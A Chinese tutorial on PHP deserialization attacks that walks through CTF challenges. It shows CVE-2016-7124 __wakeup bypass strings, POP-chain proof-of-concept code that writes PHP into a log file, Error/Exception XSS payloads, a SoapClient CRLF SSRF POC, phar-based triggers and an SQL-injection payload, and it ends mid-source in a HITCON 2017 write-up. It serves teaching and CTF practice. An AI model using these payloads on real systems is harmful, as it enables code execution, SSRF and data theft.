再谈PHP反序列化

文章首发于 SECIN社区:https://www.sec-in.com/article/137

三种类属性

Private 权限: 正常
Private 权限属性名: %00类名%00属性名 。且属性名长度改变
Protected 权限属性名: %00*%00属性名 。且属性名长度改变

demo

<?php   
class Test {
public $name = 'P2hm1n';
private $age = 'Secret';
protected $test = 'test';
}

$test = new Test;
$content = serialize($test);
file_put_contents('./flag.txt', $content);

?>

魔术方法

具体可参考PHP手册: https://www.php.net/manual/zh/language.oop5.magic.php

construct 调用条件 :当一个类被初始化为实例时会调用(unserialize()时不会自动调用)
destruct 调用条件 :当对象被销毁时会调用
sleep 调用条件 :当一个类调用serialize进行序列化时会自动调用
wakeup 调用条件 :当字符串要利用unserialize反序列化成一个类时会调用
get() 调用条件:当从不可访问的属性读取数据
call()调用条件: 当要调用的方法不存在或权限不足时自动调用
invoke()调用条件: 当把一个类当作函数使用时自动调用

tostring 当反序列化后的对象被当作字符串的时候调用。具体调用场景条件如下(引用自 @k0rz3n)

(1) echo ($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()addslashes()
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候

CVE-2016-7124

CVE利用目的: 绕过魔法函数__wakeup

版本限制: PHP5 < 5.6.25 | PHP7 < 7.0.10

核心原理: PHP 内核层解析反序列化漏洞
s
绕过方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

Bypass demo

<?php   
class Test {
public $name = 'P2hm1n';

function __destruct()
{
echo 'Bypass';
}

function __wakeup()
{
echo 'fail ';
}
}

$payload = '';
unserialize($payload);
?>

payload

payload1 = O:4:"Test":1:{s:4:"name";s:6:"P2hm1n";}
// fail Bypass

bypass payload

payload1 = O:4:"Test":2:{s:4:"name";s:6:"P2hm1n";}
// Bypass

POP链构造

知识回顾

挖掘暗藏ThinkPHP中的反序列利用链 一文中总结的挺好了。

方法名 调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
  • 反序列化的常见起点
    • __wakeup 一定会调用
    • __destruct 一定会调用
    • __toString 当一个对象被反序列化后又被当做字符串使用
  • 反序列化的常见中间跳板:
    • __toString 当一个对象被当做字符串使用
    • __get 读取不可访问或不存在属性时被调用
    • __set 当给不可访问或不存在属性赋值时被调用
    • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
  • 反序列化的常见终点:
    • __call 调用不可访问或不存在的方法时被调用
    • call_user_func 一般php代码执行都会选择这里
    • call_user_func_array 一般php代码执行都会选择这里

主要还是三点:

  1. 起点
  2. 跳板
  3. 代码执行

个人感觉核心是实例化对象可附值给变量,从而调用 + 各类魔术方法

demo1

demo引用自 @twosmi1e 师傅 先知社区 里的代码:

<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

从前往后跟 or 从后往前跟?

POC

<?php
class start_gg
{
public $mod1;
public $mod2;

public function __construct()
{
$this->mod1 = new Call();
}

public function __destruct()
{
$this->mod1->test1(); # 入口点,mod1可通过附值起跳。
}

}

class Call
{
public $mod1; # 实例化funct
public $mod2; # 无它什么事

# 继续起跳,瞻前顾后,思考下面的 $this->mod1->test2();会在何处被什么利用
public function __construct()
{
$this->mod1 = new funct();
}

public function test1()
{
$this->mod1->test2(); # 这里调 __call
}
}

class funct
{
public $mod1; # 实例化func
public $mod2; # 无它什么事

public function __construct()
{
$this->mod1 = new func();
}

public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1(); # 这里触发 __invoke
}
}

class func
{
public $mod1; # 实例化string1
public $mod2; # __invoke对其附值,其实是为了调 __toString

public function __construct()
{
$this->mod1 = new string1();
}

public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1; # 这里若拼接则会触发 __toString
}
}
class string1
{
public $str1; # 实例化 GetFlag
public $str2;

public function __construct()
{
$this->str1 = new GetFlag();
}

public function __toString()
{
$this->str1->get_flag(); #调用此处即可getflag,难点:需调用 __toString
return "1";
}
}

class GetFlag
{
public function get_flag()
{
echo "flag:" . "xxxxxxxxxxxx";
}
}
$payload = new start_gg();
echo urlencode(serialize($payload));
?>

demo2

demo引用自 @l3mon师傅 blog 里的代码:

<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};

class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}

function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}

function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}

function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};
unserialize($_GET['cmd']);

反序列化函数 + 可控参数 == 控制当前作用域下对象

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

自定义 $song 值 + __destruct == 调用当前作用域下 log方法

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

论两个 log 方法的选择

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

LogWriter_File::writeLog($txt) 的写入文件

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

LogFileFormat::format

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

OutputFilter::filter 自定义 preg_replace 内容

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

preg_replacestr_replace 的区别

final POC

<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct() {
$this->matchPattern = "//";
$this->replacement = "<?php phpinfo();?>";
}
}

class LogFileFormat {
protected $filters;
protected $endl;
function __construct() {
$this->filters = array(new OutputFilter()); # foreach ($this->filters as $filter)
$this->endl = '\n';
}
}

class LogWriter_File {
protected $filename;
protected $format;

function __construct() {
$this->filename = "info.php";
$this->format = new LogFileFormat();
}
}

class Logger {
protected $logwriter;

function __construct() {
$this->logwriter = new LogWriter_File();
}
}


class Lyrics {
protected $lyrics;
protected $song;

function __construct() {
$this->lyrics = '1';
$this->song = new Logger();
}
}


$payload = new Lyrics();
print_r(urlencode(serialize($payload)));
?>

原生类利用

ZipArchive::open

@Threezh1 文中已经写的很详细了。这里不再补充
https://xz.aliyun.com/t/6454#toc-10

SoapClient

关于SOAP安全问题:https://www.anquanke.com/post/id/153065#h2-1

利用条件:
需要有soap扩展,且不是默认开启,需要手动开启
需要调用一个不存在的方法触发其__call()函数

仅限于http/https协议,且http头部还存在crlf漏洞(SOAP + CRLF = SSRF)

例子可见下文: LCTF2018-bestphp’s revenge

Error XSS

@l3m0n 师傅blog中提到了XSS

Error
适用于php7版本

XSS
开启报错的情况下:

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
$c = unserialize($t);
echo $c;

Exception XSS

@l3m0n 师傅blog中提到了XSS

Exception
适用于php5、7版本

XSS
开启报错的情况下:

<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');
echo unserialize($c);

多种姿势组合拳

例子可见:Pornhub某漏洞 : https://5haked.blogspot.com/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1

涉及姿势如下
可获取目录: DirectoryIterator
XXE: SimpleXMLElement
创建空白文件: SQLite3

反序列化字符逃逸

原理: 对类中不存在的属性也会进行反序列化。且PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 }作为结尾(字符串除外),并且是根据长度判断内容的

利用: 构造字符串

例子一

0ctf2016 一道web题(待更新

例子二

安洵杯 - easy_serialize_php
https://xz.aliyun.com/t/6911#toc-3

Session 反序列化

参数相关

session相关参数配置

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path 设置session的存储路径,默认在/tmp
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

PHP处理器三种序列化方式

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php 键名+竖线+经过serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理数组方式

差异性

PHP处理器差异性如下

<?php
ini_set('session.serialize_handler','');
session_start();

$_SESSION['name'] = $_GET['name'];
?>

URL传参,?name=P2hm1n。session以文本存储方式保存在 /tmp 目录下。

php: name|s:6:"P2hm1n";
php_binary: 二进制字符names:6:"P2hm1n";
php_serialize: a:1:{s:4:"name";s:6:"P2hm1n";}

漏洞核心也体现在 差异性 三个字

Q: 什么是差异性:
A: 选择的处理方式不同,序列化和反序列化的方式亦不同。如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。

攻击手段

trick-1

利用前提: 脚本中设置的序列化处理器与php.ini设置的不同

常见漏洞场景: php_serilize 方式存入,解析又是用的 php 处理器

利用原理: php 在获取 session 的时候,会按照session.serialize_handler=php 规则来处理 session 文件。把 | 前面的值作为一个session键名,对 | 后面就会进行一个反序列化操作

trick-2

配置不当可造成session被控。

session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

session.upload_progress.cleanup关闭。这就 极大提高了漏洞的利用成功率。如果此选项session.upload_progress.cleanup打开,那么在利用时攻击者需要上传large and crash文件,来使得我们传入的data得以执行。

详情见https://bugs.php.net/bug.php?id=71101

例子一

题目链接: http://web.jarvisoj.com:32784/index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

差异点:

  1. phpinfo中 session.serialize_handler = php_serialize
  2. 题目中 ini_set('session.serialize_handler', 'php');

核心目的: 进入 eval 函数执行命令。由于题目中并没有反序列化操作,其中 $this->mdzz 不可通过常规手段控制。

观察phpinfo中session其他有关信息

构造一个上传的页面

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="change" />
<input type="file" name="file" />
<input type="submit" />
</form>

构造poc

<?php
class OowoO
{
public $mdzz;
}

$a = new OowoO();
$a->mdzz = "payload";
echo serialize($a);
?>

扫描目录

phpinfo中的_SERVER["SCRIPT_FILENAME"]字段得到路径:/opt/lampp/htdocs/

随后用绝对路径读取文件

例子二

题目来源: LCTF2018-bestphp’s revenge

题目给了两个源码

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

flag.php

<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
?>

flag.php 跟 index.php 之间的微妙联系体现在

$_SESSION['flag'] = $flag;
var_dump($_SESSION);

$_SERVER["REMOTE_ADDR"]==="127.0.0.1"。这里自然想到SSRF。可以利用上文提到的php原生类SoapClient中的__call方法进行SSRF。

构造SSRF的POC (POC来自 @Smi1e)

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

index.php 中涉及到了call_user_func 函数。PHP手册中 给了几个call_user_func 函数的例子: https://www.php.net/manual/zh/function.call-user-func.php
其中需要注意的是当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调
image-20201113201649416

为了进行反序列化只能利用PHP中SESSION反序列化机制。主要体现在差异性(当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞)。但是在PHP中默认使用的是PHP引擎。所以这里为了展现session的差异性,我们需要通过代码手动构造差异性。

通过 call_user_func($_GET['f'], $_POST); 构造PHP引擎差异性。并通过 $_SESSION['name'] = $_GET['name']; 将构造的Soap类序列化字符串写入session文件
image-20201113201704046

为了调用 __call 方法。首先利用call_user_func($_GET['f'], $_POST);传入 f=extract 进行POST变量覆盖。随后通过GET传参令$_SESSION['name'] = SoapClient。再利用POST传参进行变量b的覆盖。即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

最后携带cookie访问

Phar拓展攻击面

Phar简介

拓展攻击面体现在: 可通过构造 phar 在没有 unserailize() 的情况下实现反序列化攻击

由 PHPGGC 理解 PHP 反序列化漏洞 一文中对其概念概括十分简洁明了

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  1. stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  2. manifest 压缩文件的属性等信息,以序列化存储;
  3. contents 压缩文件的内容;
  4. signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

利用条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

生成Phar

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

PS: 要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

触发条件

@secii 师傅文中提到: php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

随后 @zsx 师傅blog中 Phar与Stream Wrapper造成PHP RCE的深入挖掘 对其进行了更深入的挖掘

  • exif
    • exif_thumbnail
    • exif_imagetype
  • gd
    • imageloadfont
    • imagecreatefrom***
  • hash
    • hash_hmac_file
    • hash_file
    • hash_update_file
    • md5_file
    • sha1_file
  • file / url
    • get_meta_tags
    • get_headers
  • standard
    • getimagesize
    • getimagesizefromstring
  • zip

    $zip = new ZipArchive();
    $res = $zip->open('c.zip');
    $zip->extractTo('phar://test.phar/test');

  • Bzip / Gzip
    如果限制了phar://不能出现在头几个字符。可用 compress.bzip2://compress.zlib:// 添加至 phar:// 前面进行 bypass
    $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

  • MySQL
    LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

    <?php
    class A {
    public $s = '';
    public function __wakeup () {
    system($this->s);
    }
    }
    $m = mysqli_init();
    mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
    $s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
    $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

HITCON 2016 babytrick

网上没找到题目复现的docker环境,所以直接去 Github 上找的源码,对题目理解可能有失偏颇,敬请谅解。

题目代码如下

<?php

include "config.php";

class HITCON{
private $method;
private $args;
private $conn;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;

$this->__conn();
}

function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}

}

function login() {
global $FLAG;

list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}

function source() {
highlight_file(__FILE__);
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);

if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);

$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}

mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function __die($msg) {
$this->__close();

header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function __destruct() {
$this->__conn();

if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}

$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}

if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}

漏洞代码核心: @unserialize($_GET["data"]);

代码的全局过滤如下,主要过滤函数为 mysql_escape_string

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}

关于此魔术方法的绕过为 CVE-2016-7124

代码中参数附值主要靠 call_user_func_array(),list(),func_get_args()三个函数共同作用。

首先 show 方法中动态拼接sql语句采取了 sprintf 函数。但其对单引号等敏感字符并没有转义功能,又因为我们可利用CVE-2016-7124 来绕过全局过滤。因此此处存在sql注入。

通过sql注入获得orange密码

<?php
class HITCON{
private $method="show";
private $args=array("' union select password,1,1 from users where username = 'orange'#");
private $conn=1;
}
$payload1 = new HITCON();
echo urlencode(serialize($payload1));
?>

通过上述步骤得知 orange 的密码是 babytrick1234

接着进入 login 方法,这里通过用户名跟密码可以得到 flag。但其方法里一处限制如下

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

Bypass的点为 mysql的编码设置安全

猪猪侠在微博上曾经说过

MYSQL 中 utf8_unicode_ciutf8_general_ci两种编码格式,utf8_general_ci不区分大小写,Ä = A, Ö = O, Ü = U这三种条件都成立,对于utf8_general_ci下面的等式成立:ß=s,但是,对于utf8_unicode_ci下面等式才成立:ß = ss

本地使用 DVWA 的库进行测试

image-20201113200319155

因此通过替换关键字符,构造最终payload如下

<?php
class HITCON{
private $method;
private $args;
private $conn;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = 'ORÄNGE';
$args['password'] = 'babytrick1234';
$data = new HITCON('login',$args);
echo urlencode(serialize($data));
?>

HITCON 2017 Baby-Master-PHP

题目采用 i春秋 平台进行复现。其实本来最开始复现采用的是buu,但是buu的平台加载不了我服务器上的phar文件。后来就换了

题目源码

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}

if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}

$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}

return $data->avatar;
}

function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}

file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

function show($path) {
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}

header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
echo "IP:".$_SERVER["REMOTE_ADDR"];
echo "Sandbox:"."/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
